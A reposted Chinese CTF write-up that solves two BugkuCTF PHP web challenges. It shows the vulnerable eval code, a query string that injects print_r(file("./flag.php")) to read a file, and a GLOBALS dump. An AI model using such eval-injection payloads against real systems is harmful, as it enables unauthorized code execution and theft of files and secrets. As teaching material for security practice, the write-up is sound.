

BugkuCTF web writeup

转载

[weixin_33938733](#) 于 2018-10-21 17:15:55 发布 106 收藏

文章标签: [php](#)

原文链接: <https://segmentfault.com/a/1190000016750234>

版权

本地包含

题目信息

Challenge

2037 Solves



本地包含

60

地址: <http://123.206.87.240:8003/>

Flag

Submit

地址: <http://123.206.87.240:8003/>

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
```

知识基础

涉及到的几个函数:

1. `$_REQUEST`: 可以获取以POST方法和GET方法提交的数据, 但是速度比较慢

2. `eval`: 把字符串按照 PHP 代码来计算, 该字符串必须是合法的 PHP 代码, 且必须以分号结尾。

```
<?php
eval("echo'hello';echo' world';");
?>
# output
hello world
```

3.var_dump: 函数用于输出变量的相关信息

```
# 数字
var_dump(1); > int(1)
# 字符串
var_dump("string"); > string(6) "string"
```

解题思路

eval应该是此题的突破口，能够执行php代码。

hello是接受参数的变量，接下来就是构建hello变量，使其能够闭合var_dump，利用print_r输出

首先闭合var_dump: 1) " ;

第二步构建print_r: print_r(file("./flag.php")) ;

URL构建结束:

http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php"))

构建的URL触发的 eval操作为

```
eval("var_dump(1);print_r(file("./flag.php"))")
```

成功输出 flag.php 文件内容



```
int(1) Array ( [0] => $flag = 'Too Young Too Simple'; [2] => # echo $flag; [3] => # flag(bug-ctf-gg-99); [4] => ?> ) <?php
include "flag.php";
$a = $_REQUEST['hello'];
eval("var_dump($a);");
show_source(__FILE__);
```

参考资料

1.echo(),print(),print_r()之间的区别?

2.PHP file() 函数

变量1

题目信息

Challenge 2863 Solves ×

变量1

60

<http://123.206.87.240:8004/index1.php>

```
flag In the variable ! <?php

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/", $args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
```

知识基础

isset: 用于检测变量是否已设置并且非 NULL。

preg_match: 用于执行一个正则表达式匹配。

解题思路

flag In the variable ! 提示 flag 在变量中

根据!preg_match("/^\w+\$/", \$args)得知, arg只能是任意字母, 数字, 下划线, 汉字的字符组成

eval("var_dump(\$\$args);"); 使\$GLOBALS变量被输出即可

PHP global 关键字

global 关键字用于函数内访问全局变量。

在函数内调用函数外定义的全局变量, 我们需要在函数中的变量前加上 global 关键字:

实例

```
<?php
$x=5;
$y=10;

function myTest()
{
    global $x,$y;
    $y=$x+$y;
}

myTest();
echo $y; // 输出 15
?>
```

运行实例 »

PHP 将所有全局变量存储在一个名为 \$GLOBALS[index] 的数组中。index 保存变量的名称。这个数组可以在函数内部访问, 也可以直接用来更新全局变量。

url: <http://123.206.87.240:8004/index1.php?args=GLOBALS>

参考资料

[PHP 变量](#)